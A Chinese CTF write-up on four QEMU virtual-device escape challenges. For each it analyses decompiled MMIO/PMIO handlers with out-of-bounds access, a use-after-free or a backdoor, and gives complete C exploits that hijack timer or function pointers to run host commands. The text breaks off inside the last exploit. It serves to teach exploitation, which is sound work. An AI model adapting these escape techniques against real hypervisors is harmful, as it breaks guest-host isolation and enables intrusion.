HXB2019-pwn2

附件下载链接

虚拟机密码为 root

环境搭建

缺少 libiscsi.so.2 ,需要安装相关依赖:

git clone https://github.com/sahlberg/libiscsi.git
cd libiscsi
./autogen.sh
./configure
make
sudo make install
sudo ln -s /usr/lib/x86_64-linux-gnu/libiscsi.so.7 /usr/lib/x86_64-linux-gnu/libiscsi.so.2

漏洞分析

设备读写函数分析如下:

  • strng_mmio_read 函数:
    • 如果 addr 非 4 的倍数或者读的非四字节则返回 -1 。
    • 否则返回 regs[addr>>2] 。这里缺少对 regs 的边界检测,存在越界读。
  • strng_mmio_write 函数:
    addr 必须是 4 的倍数
    • addr == 4regs[1] = rand()
    • addr == 0 || addr == 8srand(val)
    • addr == 12regs[3] = rand_r(&opaque->regs[2])
    • 其他情况:flag = 1; regs[addr>>2] = val ,存在越界写。
  • strng_pmio_read 函数:
    • 如果 size 不为 4 则返回 -1
    • 如果 addr 为 0 则返回 0
    • 如果 addr 为 4 且 opaque->addr 为 4 的倍数则返回 opaque->regs[opaque->addr >> 2]
  • strng_pmio_write 函数:
    • 如果 addr == 0opaque->addr = val
    • 如果 addr 非零则 addr 必须为 4:
      opaque->addr 必须是 4 的倍数:
      • opaque->addr == 4regs[1] = rand()
      • opaque->addr == 0 || opaque->addr == 8srand(val)
      • opaque->addr == 12opaque->regs[3] = rand_r(&opaque->regs[2])
      • 其他情况:regs[opaque->addr >> 2] = val,如果 opaque->flag 非零:有一个
        关于 timer 的奇怪函数调用,稍后再分析

漏洞利用

越界读原语:

  1. 利用 mmio_read 传递 offset << 2 即可读取 regs[offset] 处的四字节值
  2. 利用 pmio_write 设置 opaque->addr = offset << 2 ,调用 pmio_read 读取 regs[offset] 处的四字节

越界写原语:

  1. 利用 mmio_write 传递 offset << 2 即可写 regs[offset] 处的四字节值为 val
  2. 利用 pmio_write 设置 opaque->addr = offset << 2 ,调用 pmio_writeregs[offset] 处的四字节
    值为 val

实际上只能使用第二种方式,因为 PCI 设备内部会对访问的内存区域进行检查,不允许超过分配
的既定区域,即 64*4 = 256 的合法区间,因而我们只能通过第二种方式构造越界读写原语。

调试发现 STRNGState 结构体的内容如下,其中 strng_timercbopaque 分别可以泄露 qemu 和 STRNGState 地址。

pwndbg> p *(STRNGState*)0x5555582a59d0
$1 = {
  pdev = {
    ...
  },
  mmio = {
    ...
  },
  pmio = {
    ...
  },
  addr = 276, 
  flag = 1, 
  regs = {0, 0, 0, 0, 1818321784, 99, 0 <repeats 58 times>}, 
  strng_timer = {
    expire_time = -1, 
    timer_list = 0x555556a71860, 
    cb = 0x5555557eec8e <strng_timer>, 
    opaque = 0x5555582a59d0, 
    next = 0x0, 
    scale = 1000000
  }
}

如果考虑修改 main_loop_tlg 实现虚拟机逃逸,由于 main_loop_tlg 位于 qemu 上,地址小于堆地址,而越界写 regs[opaque->addr >> 2] = val 无法将下标设为负数,因此考虑其他方法。

pci_strng_realize 函数中有对 strng_timer 的初始化,这里 QEMU_CLOCK_VIRTUAL_0 = 1

timer_init_ms_0(&pdev->strng_timer, QEMU_CLOCK_VIRTUAL_0, (QEMUTimerCB *)strng_timer, pdev);

其中 timer_init_ms 函数调用链如下,根据 timer_init_ms 的参数可知,最终会将 pdev->strng_timertimer_list 设为 timer_list_group->tl[1] 并且在 timer_list_group->tl[1] 上设置定时任务,不过时间设置为 -1 因此不会执行。

void timer_init_full(QEMUTimer *ts,
                     QEMUTimerListGroup *timer_list_group, QEMUClockType type,
                     int scale, int attributes,
                     QEMUTimerCB *cb, void *opaque)
{
    if (!timer_list_group) {
        timer_list_group = &main_loop_tlg;
    }
    ts->timer_list = timer_list_group->tl[type];
    ts->cb = cb;
    ts->opaque = opaque;
    ts->scale = scale;
    ts->attributes = attributes;
    ts->expire_time = -1;
}

static inline void timer_init(QEMUTimer *ts, QEMUClockType type, int scale,
                              QEMUTimerCB *cb, void *opaque)
{
    timer_init_full(ts, NULL, type, scale, 0, cb, opaque);
}

static inline void timer_init_ms(QEMUTimer *ts, QEMUClockType type,
                                 QEMUTimerCB *cb, void *opaque)
{
    timer_init(ts, type, SCALE_MS, cb, opaque);
}

从前面的调试结果可以看到 STRNGState.flag 初始值为 1 ,而在strng_pmio_write 函数中如果如果 opaque->flag 非零会执行如下代码:

            opaque->regs[v5] = val;
            if ( opaque->flag )
            {
              ms_4 = qemu_clock_get_ms_4(QEMU_CLOCK_VIRTUAL_0);
              timer_mod(&opaque->strng_timer, ms_4 + 100);
            }

其中 timer_mod 函数定义如下,也就是说这里会将该定时任务时间设置为 ms_4 + 100 ,并且将 opaque->strng_timer 添加到定时任务。

void timer_mod(QEMUTimer *ts, int64_t expire_time)
{
    QEMUTimerList *timer_list = ts->timer_list;
    QEMUTimer *t = &timer_list->active_timers;

    while (t->next != NULL) {
        if (t->next == ts) {
            break;
        }

        t = t->next;
    }

    ts->expire_time = MAX(expire_time * ts->scale, 0);
    ts->next = NULL;
    t->next = ts;
}

因此不难想到可以修改 opaque->strng_timercbsystem@plt 然后将 opaque->strng_timeropaque 指向参数地址,从而实现任意命令执行。

exp

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/io.h>

void *mmio_mem;

void mmio_write(uint32_t offset, uint32_t value) {
    *((uint32_t *) mmio_mem + offset) = value;
}

uint32_t mmio_read(uint32_t offset) {
    return *((uint32_t *) mmio_mem + offset);
}

uint32_t pmio_mem = 0x000000000000c050;

void pmio_write(uint32_t offset, uint32_t value) {
    outl(value, pmio_mem + offset);
}

uint32_t pmio_read(uint32_t offset) {
    return inl(pmio_mem + offset);
}

uint64_t pmio_abread(uint32_t offset) {
    pmio_write(0, offset << 2);
    uint64_t val = pmio_read(4);
    pmio_write(0, (offset + 1) << 2);
    return val | (1ULL * pmio_read(4) << 32);
}

void pmio_abwrite(uint32_t offset, uint64_t value) {
    pmio_write(0, offset << 2);
    pmio_write(4, value & 0xFFFFFFFF);
    pmio_write(0, (offset + 1) << 2);
    pmio_write(4, value >> 32);
}

char cmd[] = "xcalc";

int main() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1) {
        perror("[-] failed to open mmio.🤔");
        exit(-1);
    }
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        perror("[-] failed to mmap mmio.");
        exit(-1);
    }

    for (int i = 0; i < sizeof(cmd); i += 4) {
        mmio_write(4 + i / 4, *(uint32_t *) &cmd[i]);
    }

    if (iopl(3) != 0) {
        perror("[-] failed to set io permission.");
    }

    size_t arg_addr = pmio_abread(70) + 0xb08;
    size_t elf_base = pmio_abread(68) - 0x29ac8e;
    printf("[+] arg addr: %p\n", arg_addr);
    printf("[+] elf base: %p\n", elf_base);

    printf("[*] STRNGState addr: %p\n", arg_addr - 0xb08);

    size_t system_plt = elf_base + 0x200d50;

    pmio_abwrite(70, arg_addr);
    pmio_abwrite(68, system_plt);

    return 0;
}

RWCTF2021 Easy_escape

附件下载链接
本题环境为 Ubuntu20.04,glibc-2.31 。

漏洞分析

fun_mmio_readfun_mmio_write 内容如下:

uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
{
  uint32_t_0 val; // [rsp+20h] [rbp-10h]

  val = -1;
  switch ( addr )
  {
    case 0uLL:
      val = opaque->size;
      break;
    case 4uLL:
      val = opaque->addr;
      break;
    case 8uLL:
      val = opaque->result_addr;
      break;
    case 0xCuLL:
      val = opaque->idx;
      break;
    case 0x10uLL:
      if ( opaque->req )
        handle_data_write(opaque, opaque->req, opaque->idx);
      break;
    default:
      return val;
  }
  return val;
}

void __cdecl fun_mmio_write(FunState *opaque, hwaddr addr, uint32_t_0 val, unsigned int size)
{
  switch ( addr )
  {
    case 0uLL:
      opaque->size = val;
      break;
    case 4uLL:
      opaque->addr = val;
      break;
    case 8uLL:
      opaque->result_addr = val;
      break;
    case 0xCuLL:
      opaque->idx = val;
      break;
    case 0x10uLL:
      if ( opaque->req )
        handle_data_read(opaque, opaque->req, opaque->idx);
      break;
    case 0x14uLL:
      if ( !opaque->req )
        opaque->req = create_req(opaque->size);
      break;
    case 0x18uLL:
      if ( opaque->req )
        delete_req(opaque->req);
      opaque->req = 0LL;
      opaque->size = 0;
      break;
    default:
      return;
  }
}

其中 handle_data_readhandle_data_write 函数内容如下,两个函数均调用了 put_result 函数。

void __cdecl handle_data_read(FunState *fun, FunReq *req, uint32_t_0 val)
{
  if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
  {
    put_result(fun, 1u);
    dma_memory_read_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
    put_result(fun, 2u);
  }
}

void __cdecl handle_data_write(FunState *fun, FunReq *req, uint32_t_0 val)
{
  if ( req->total_size && val <= 0x7E && val < (req->total_size >> 10) + 1 )
  {
    put_result(fun, 1u);
    dma_memory_write_9(fun->as, (val << 10) + fun->addr, req->list[val], 0x400uLL);
    put_result(fun, 2u);
  }
}

其中 dma_memory_readdma_memory_write 定义如下:

static inline int dma_memory_read(AddressSpace *as, dma_addr_t addr, void *buf, dma_addr_t len)
static inline int dma_memory_write(AddressSpace *as, dma_addr_t addr, const void *buf, dma_addr_t len)

dma_memory_read 是将 addr 处的数据复制到 buf 中,dma_memory_write 是将 buf 处的数据复制到 addr 中。其中 addr 是虚拟机中的物理地址。

在实际调试过程中发现 put_result 函数会再次调用到 handle_data_write 函数。
在这里插入图片描述调用链如下:

uint32_t_0 __cdecl fun_mmio_read(FunState *opaque, hwaddr addr, unsigned int size)
    handle_data_write(opaque, opaque->req, opaque->idx);
        put_result(fun, 1u);
            dma_memory_write(fun->as, fun->result_addr, &result, 4uLL);
                dma_memory_rw(as, addr, (void *)buf, len, DMA_DIRECTION_FROM_DEVICE);
                    dma_memory_rw_relaxed(as, addr, buf, len, dir);
                        address_space_rw(as, addr, MEMTXATTRS_UNSPECIFIED, buf, len, dir == DMA_DIRECTION_FROM_DEVICE);
                            address_space_write(as, addr, attrs, buf, len);
                                flatview_write(fv, addr, attrs, buf, len);
                                    flatview_write_continue(fv, addr, attrs, buf, len, addr1, l, mr);
                                        memory_region_dispatch_write(mr, addr1, val, size_memop(l), attrs);
                                            access_with_adjusted_size(addr, &data, size, mr->ops->impl.min_access_size, mr->ops->impl.max_access_size, memory_region_write_accessor, mr, attrs);
                                                memory_region_write_accessor(mr, addr + i, value, access_size, i * 8, access_mask, attrs)
                                                    mr->ops->write(mr->opaque, addr, tmp, size);

并且再次调用 handle_data_writeaddr 参数为 opaque->result_addr 减掉 mmio 内存的地址。

另外当 addr = 0x18 时会释放 req 相关结构。

void __cdecl delete_req(FunReq *req)
{
  uint32_t_0 i; // [rsp+18h] [rbp-8h]
  uint32_t_0 t; // [rsp+1Ch] [rbp-4h]

  t = (req->total_size >> 10) + 1;
  for ( i = 0; i < t; ++i )
    free(req->list[i]);
  free(req);
}

    case 0x18uLL:
      if ( opaque->req )
        delete_req(opaque->req);
      opaque->req = 0LL;
      opaque->size = 0;
      break;

因此不难想到可以通过设置 opaque->result_addrmmio_addr + 0x18 然后调用 handle_data 函数来实现 UAF 。

漏洞利用

create_req 会创建 req ⌊ opaque -> size 2 12 ⌋ + 1 \left \lfloor \frac{\text{opaque -> size}}{2^{12}} \right \rfloor +1 212opaque -> size+1 个 chunk ,每个chunk 大小为 0x410 。

FunReq *__cdecl create_req(uint32_t_0 size)
{
  uint32_t_0 i; // [rsp+10h] [rbp-10h]
  uint32_t_0 t; // [rsp+14h] [rbp-Ch]
  FunReq *req; // [rsp+18h] [rbp-8h]

  if ( size > 0x1FBFF )
    return 0LL;
  req = (FunReq *)malloc(0x400uLL);
  memset(req, 0, sizeof(FunReq));
  req->total_size = size;
  t = (req->total_size >> 10) + 1;
  for ( i = 0; i < t; ++i )
    req->list[i] = (char *)malloc(0x400uLL);
  return req;
}

    case 0x14uLL:
      if ( !opaque->req )
        opaque->req = create_req(opaque->size);
      break;

FunReq 结构体定义如下:

00000000 FunReq struc ; (sizeof=0x400, align=0x8, copyof_4859)
00000000 total_size dd ?
00000004 db ? ; undefined
00000005 db ? ; undefined
00000006 db ? ; undefined
00000007 db ? ; undefined
00000008 list dq 127 dup(?)                      ; offset
00000400 FunReq ends

因此我们创建 req 并在 req.list 中申请三个 chunk 。
在这里插入图片描述
fun_mmio_read->handle_data_write->dma_memory_write_9 时发生 UAF,此时读取的 req.list[0] 中的数据实际上是 tcache_pthread_struct 中的数据,因此可以泄露 req 的地址,另外 tcache_pthread_struct 之后有一个指向存放 qemu 地址的内存的指针也可以泄露。
在这里插入图片描述
再次创建 req
在这里插入图片描述

之后 fun_mmio_write->handle_data_read->dma_memory_read_9 时 UAF 修改 req.list[1]fd 指向 req
在这里插入图片描述

再次创建 reqreq.list[2] 指向 req 。此时实现了 req 的自写,其中 lreq.ist[0] 为 NULL 时因为 tcache 在取出 chunk 时会将 key 字段置 0 。
在这里插入图片描述
我们可以通过 req 自写将 list[0] 指向目标地址从而实现任意地址读写。之后就是常规的泄露 qemu 基址,改 main_loop_tlg 指向的 QEMUTimerList 实现逃逸。

exp

#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

#define PAGE_SIZE 0x1000

size_t vaddr_to_paddr(size_t vaddr) {
    int pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
    lseek(pagemap_fd, vaddr / PAGE_SIZE * 8, SEEK_SET);
    size_t data;
    read(pagemap_fd, &data, 8);
    close(pagemap_fd);
    return data * PAGE_SIZE + (vaddr % PAGE_SIZE);
}

#define SIZE 0x0
#define ADDR 0x4
#define RESULT_ADDR 0x8
#define INDEX 0xC
#define HANDLE_DATA 0x10
#define CREATE_REQ 0x14
#define DELETE_REQ 0x18
void *mmio_mem;

void mmio_write(uint32_t addr, uint32_t value) {
    *((uint32_t *) (mmio_mem + addr)) = value;
}

uint32_t mmio_read(uint32_t addr) {
    return *((uint32_t *) (mmio_mem + addr));
}

char *buf;
size_t buf_paddr;
size_t req_addr;
char cmd[] = "xcalc";

void arbitrary_address_read(size_t address) {
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(INDEX, 2);
    *(size_t *) (buf + (2 << 10)) = (3 - 1) << 10;
    *(size_t *) (buf + (2 << 10) + 8) = address;
    *(size_t *) (buf + (2 << 10) + 0x10) = 0;
    *(size_t *) (buf + (2 << 10) + 0x18) = req_addr;
    mmio_write(HANDLE_DATA, 0x114514);
    mmio_write(INDEX, 0);
    mmio_read(HANDLE_DATA);
}

void arbitrary_address_write(size_t address) {
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(INDEX, 2);
    *(size_t *) (buf + (2 << 10)) = (3 - 1) << 10;
    *(size_t *) (buf + (2 << 10) + 8) = address;
    *(size_t *) (buf + (2 << 10) + 0x10) = 0;
    *(size_t *) (buf + (2 << 10) + 0x18) = req_addr;
    mmio_write(HANDLE_DATA, 0x114514);
    mmio_write(INDEX, 0);
    mmio_write(HANDLE_DATA, 0x1919810);
}


int main() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd < 0) {
        perror("[-] failed to open mmio.");
        exit(-1);
    }
    mmio_mem = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem < 0) {
        perror("[-] failed to mmap mmio_mem.");
        exit(-1);
    }

    FILE *resource_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
    if (resource_fd == NULL) {
        perror("[-] failed to open resource.");
        exit(-1);
    }
    size_t mmio_addr;
    fscanf(resource_fd, "%p", &mmio_addr);
    printf("[*] mmio_addr: %p\n", mmio_addr);

    buf = (char *) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    memset(buf, 0, PAGE_SIZE);
    printf("[*] buf vaddr: %p\n", buf);
    buf_paddr = vaddr_to_paddr((size_t) buf);
    printf("[*] buf paddr: %p\n", buf_paddr);

    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(ADDR, buf_paddr);
    mmio_write(INDEX, 0);
    mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ);
    mmio_write(CREATE_REQ, 0x114514);
    mmio_read(HANDLE_DATA);
    qword_dump("leak req addr from tcache_perthread_struct (req->list[0])", buf, 0x400);
    req_addr = *(size_t *) (buf + 0x278);
    printf("[+] req_addr: %p\n", req_addr);
    size_t leak_addr_addr = *(size_t *) (buf + 0x358);
    printf("[+] leak_addr addr: %p\n", leak_addr_addr);

    *(size_t *) (buf + (1 << 10)) = req_addr;
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(ADDR, buf_paddr);
    mmio_write(INDEX, 1);
    mmio_write(RESULT_ADDR, mmio_addr + DELETE_REQ);
    mmio_write(CREATE_REQ, 0x114514);
    mmio_write(HANDLE_DATA, 0x1919810);

    mmio_write(RESULT_ADDR, 1);
    mmio_write(SIZE, (3 - 1) << 10);
    mmio_write(CREATE_REQ, 0x114514);
    mmio_write(INDEX, 2);

    arbitrary_address_read(leak_addr_addr);
    size_t elf_base = *(size_t *) buf - 0x6761b0;
    printf("[+] elf base: %p\n", elf_base);

    size_t system_plt = elf_base + 0x2b8a74;
    printf("[*] system@plt addr: %p\n", system_plt);

    size_t main_loop_tlg_addr = elf_base + 0x112cd40;
    printf("[*] main_loop_tlg addr: %p\n", main_loop_tlg_addr);

    arbitrary_address_read(main_loop_tlg_addr);

    size_t QEMUTimer_addr = *(size_t *) (buf + 8);
    printf("[+] QEMUTimer addr: %p\n", QEMUTimer_addr);

    arbitrary_address_read(QEMUTimer_addr);
    *(size_t *) (buf + 0x58) = system_plt;
    *(size_t *) (buf + 0x60) = QEMUTimer_addr + 0x200;
    strcpy(buf + 0x200, cmd);
    arbitrary_address_write(QEMUTimer_addr);

    return 0;
}

GACTF2020 babyqemu

附件下载链接

虚拟机密码为 root

环境搭建

由于利用方法不受环境影响,没有用 docker 环境。
在 ubuntu18.04 上运行缺少 libncursesw.so.6 ,需要安装 libncursesw6

sudo apt install libncursesw6

漏洞分析 & 利用

设备相关的符号被去除。可以通过搜索 denc-mmio 定位到相关函数。

存在一处花指令,直接去除。

.text:00000000003AA140 E8 00 00 00 00                call    $+5
.text:00000000003AA140
.text:00000000003AA145 83 04 24 05                   add     dword ptr [rsp], 5
.text:00000000003AA149 C3                            retn

denc_mmio_writedenc_mmio_read 存在越界读写,另外 key 也可以泄露,qemu 地址可以越界读出。

/*
00000000 DencState struc ; (sizeof=0xB48, mappedto_112)
00000000 field_0 db 2808 dup(?)
00000AF8 key db 32 dup(?)
00000B18 field_B18 db 8 dup(?)
00000B20 buf dd 8 dup(?)
00000B40 fun dq ?                                ; offset
00000B48 DencState ends
*/

unsigned __int64 __fastcall denc_mmio_read(DencState *opaque, unsigned __int64 addr, int size)
{
  unsigned __int64 result; // rax

  if ( size != 4 )
    return -1LL;
  result = addr & 3;
  if ( (addr & 3) != 0 )
    return -1LL;
  if ( addr <= 0x24 )
    return opaque->buf[addr >> 2];
  return result;
}

unsigned __int64 __fastcall denc_mmio_write(DencState *opaque, unsigned __int64 addr, unsigned int val, int size)
{
  unsigned __int64 result; // rax

  result = (unsigned __int64)opaque;
  if ( size == 4 )
  {
    result = addr & 3;
    if ( (addr & 3) == 0 && addr <= 0x24 )
    {
      result = val ^ *(_DWORD *)&opaque->key[addr];
      opaque->buf[addr >> 2] = result;
    }
  }
  return result;
}

denc_pmio_write 存在后门。

__int64 __fastcall denc_pmio_write(DencState *opaque, unsigned __int64 addr, unsigned int val, int size)
{
  __int64 result; // rax

  result = (__int64)opaque;
  if ( size == 4 )
  {
    result = addr & 3;
    if ( (addr & 3) == 0 )
    {
      if ( addr <= 7 )
      {
        result = val ^ *(_DWORD *)&opaque->key[4 * addr];
        opaque->buf[addr] = result;
      }
      if ( addr == 0x660 )
        return opaque->fun(opaque->buf, 0LL, 0LL);
    }
  }
  return result;
}

exp

#include <ctype.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/io.h>

void qword_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("[*] %s:\n", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

void *mmio_mem;

void mmio_write(uint32_t offset, uint32_t value) {
    *((uint32_t *) mmio_mem + offset) = value;
}

uint32_t mmio_read(uint32_t offset) {
    return *((uint32_t *) mmio_mem + offset);
}

void mmio_init() {
    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
    if (mmio_fd == -1) {
        perror("[-] failed to open mmio.🤔");
        exit(EXIT_FAILURE);
    }
    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_mem == MAP_FAILED) {
        perror("[-] failed to mmap mmio.");
        exit(EXIT_FAILURE);
    }
    if (mlock(mmio_mem, 0x1000) == -1) {
        perror("[-] failed to mlock mmio_mem.");
        exit(EXIT_FAILURE);
    }
}

uint32_t pmio_mem;

void pmio_write(uint32_t offset, uint32_t value) {
    outl(value, pmio_mem + offset);
}

uint32_t pmio_read(uint32_t offset) {
    return inl(pmio_mem + offset);
}

void pmio_init() {
    if (iopl(3) == -1) {
        perror("[-] iopl failed.");
        exit(EXIT_FAILURE);
    }
    FILE *pmio_fd = fopen("/sys/devices/pci0000:00/0000:00:04.0/resource", "r");
    fscanf(pmio_fd, "%*p%*p%*p%p", &pmio_mem);
    printf("[*] pmio_mem: %p\n", pmio_mem);
}

char cmd[0x20] = "cat flag; xcalc";

int main() {
    mmio_init();
    pmio_init();

    size_t leak_addr = mmio_read(8) | (1ll * mmio_read(9) << 32);
    printf("[+] leak addr: %p\n", leak_addr);
    size_t elf_base = leak_addr - 0x3a9ea8;
    printf("[*] elf base: %p\n", elf_base);
    size_t system_plt = elf_base + 0x2ccb60;
    printf("[*] system@plt addr: %p\n", system_plt);

    uint32_t key[10];
    for (int i = 0; i < 10; i++) {
        mmio_write(i, 0);
        key[i] = mmio_read(i);
    }
    qword_dump("leak key", key, sizeof(key));

    for (int i = 0; i < strlen(cmd); i += 4) {
        mmio_write(i / 4, (*(uint32_t *) &cmd[i]) ^ key[i / 4]);
    }

    mmio_write(8, (system_plt & 0xFFFFFFFF) ^ key[8]);
    mmio_write(9, (system_plt >> 32) ^ key[9]);

    pmio_write(0x660, 0x114514);

    return 0;
}

HWS2021 FastCP

附件下载链接

漏洞分析

fastcp_mmio_write 设置相关参数。其中 addr 为 0x18 时还会启动定时器。

void __fastcall fastcp_mmio_write(FastCPState *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  int64_t ns; // rax

  if ( (size == 8 || addr > 0x1F) && addr <= 0x1F )
  {
    if ( addr == 0x10 )
    {
      if ( opaque->handling != 1 )
        opaque->cp_state.CP_list_cnt = val;
    }
    else if ( addr == 0x18 )
    {
      if ( opaque->handling != 1 )
      {
        opaque->cp_state.cmd = val;
        ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL);
        timer_mod(&opaque->cp_timer, ns / 1000000 + 100);
      }
    }
    else if ( addr == 8 && opaque->handling != 1 )
    {
      opaque->cp_state.CP_list_src = val;
    }
  }
}

定时器的回调函数 fastcp_cp_timer 中存在越界读和越界写可以读写结构体中的 QEMUTimer

越界读:

    case 4uLL:
      v7 = opaque->cp_state.CP_list_cnt == 1;
      opaque->handling = 1;
      if ( v7 )
      {
        cpu_physical_memory_rw(opaque->cp_state.CP_list_src, &cp_info, 0x18uLL, 0);
        cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);
        ...

越界写:

    case 1uLL:
      CP_list_cnt = opaque->cp_state.CP_list_cnt;
      opaque->handling = 1;
      if ( CP_list_cnt > 0x10 )
      {
LABEL_22:
        v8 = 0LL;
        do
        {
          v9 = 3 * v8++;
          cpu_physical_memory_rw(opaque->cp_state.CP_list_src + 8 * v9, &cp_info, 0x18uLL, 0);
          cpu_physical_memory_rw(cp_info.CP_src, opaque->CP_buffer, cp_info.CP_cnt, 0);
          cpu_physical_memory_rw(cp_info.CP_dst, opaque->CP_buffer, cp_info.CP_cnt, 1);
        }
        while ( opaque->cp_state.CP_list_cnt > v8 );
      }

cpu_physical_memory_rw 函数用法如下:

  • 函数功能:用于读写物理内存,是 QEMU 中用于直接访问物理内存的函数之一。
  • 函数定义:
    void __fastcall cpu_physical_memory_rw(hwaddr addr, void *buf, hwaddr len, bool is_write)
    
  • 函数参数:
    • addr:要读写的物理地址
    • buf:指向数据缓冲区的指针
    • len:要读写的数据长度
    • is_write:标识是否进行写操作,1表示写操作,0表示读操作。

这里有两个易错点:

  • 一是这里 oob 读写超过 1 个内存页大小,而 cpu_physical_memory_rwaddr 是虚拟机中的物理地址,因此我们要找的是虚拟机中物理地址相邻的内存页,这样超过一个内存页大小的数据会读到后一个内存页上。
  • QEMUTimertimer_list 成员在 timer_mod 函数中会用到,不能随便写数据。

exp

#include <assert.h>
#include <ctype.h>
#include <fcntl.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#define HASH_MAP_SIZE 0x1000

typedef struct hash_map_entry {
    uint64_t key, value;
    struct hash_map_entry *next;
} hash_map_entry;

typedef struct hash_map {
    hash_map_entry **entry;
} hash_map;

uint64_t hash_map_get(hash_map *map, uint64_t key) {
    uint64_t hash = key & HASH_MAP_SIZE;
    for (hash_map_entry *entry = map->entry[hash]; entry; entry = entry->next) {
        if (entry->key == key) {
            return entry->value;
        }
    }
    return -1;
}

void hash_map_set(hash_map *map, uint64_t key, uint64_t value) {
    uint64_t hash = key & HASH_MAP_SIZE;
    for (hash_map_entry *entry = map->entry[hash]; entry; entry = entry->next) {
        if (entry->key == key) {
            entry->value = value;
            return;
        }
    }
    hash_map_entry *entry = calloc(1, sizeof(hash_map_entry));
    entry->next = map->entry[hash];
    entry->key = key;
    entry->value = value;
    map->entry[hash] = entry;
}

void hash_map_del(hash_map *map, uint64_t key) {
    uint64_t hash = key & HASH_MAP_SIZE;
    for (hash_map_entry *entry = map->entry[hash], *prev = NULL; entry; prev = entry, entry = entry->next) {
        if (entry->key == key) {
            prev == NULL ? (map->entry[hash] = entry->next) : (prev->next = entry->next);
            free(entry);
            return;
        }
    }
}

void hash_map_init(hash_map *map) {
    map->entry = calloc(HASH_MAP_SIZE, sizeof(hash_map_entry *));
}

void hash_map_clear(hash_map *map) {
    for (int i = 0; i < HASH_MAP_SIZE; i++) {
        for (hash_map_entry *entry = map->entry[i], *next; entry; entry = next) {
            next = entry->next, free(entry);
        }
    }
    free(map->entry);
}

#define PAGE_SIZE 0x1000

size_t vaddr_to_paddr(size_t vaddr) {
    int pagemap_fd = open("/proc/self/pagemap", O_RDONLY);
    lseek(pagemap_fd, vaddr / PAGE_SIZE * 8, SEEK_SET);
    size_t data;
    assert(read(pagemap_fd, &data, 8) == 8);
    close(pagemap_fd);
    return data * PAGE_SIZE + (vaddr % PAGE_SIZE);
}

typedef struct {
    void *vaddr[2];
    size_t paddr;
} adjacent_pages_buf;

void release_pages(hash_map *map) {
    for (int i = 0; i < PAGE_SIZE; i++) {
        for (hash_map_entry *entry = map->entry[i]; entry; entry = entry->next) {
            assert(munmap((void *) entry->value, PAGE_SIZE) == 0);
        }
    }
    hash_map_clear(map);
}

void get_adjacent_pages(adjacent_pages_buf *buf) {
    hash_map *map = calloc(1, sizeof(hash_map *));
    hash_map_init(map);
    while (true) {
        size_t vaddr = (size_t) (char *) mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
        memset((void *) vaddr, 0, PAGE_SIZE);
        size_t paddr = vaddr_to_paddr(vaddr);
        printf("[*] new page %p %p\n", paddr, vaddr);
        if ((buf->vaddr[1] = (void *) hash_map_get(map, paddr + 0x1000)) != (void *) -1) {
            buf->vaddr[0] = (void *) vaddr;
            buf->paddr = paddr;
            hash_map_del(map, paddr + 0x1000);
            release_pages(map), free(map);
            return;
        }
        if ((buf->vaddr[0] = (void *) hash_map_get(map, paddr - 0x1000)) != (void *) -1) {
            buf->vaddr[1] = (void *) vaddr;
            buf->paddr = paddr - 0x1000;
            hash_map_del(map, paddr - 0x1000);
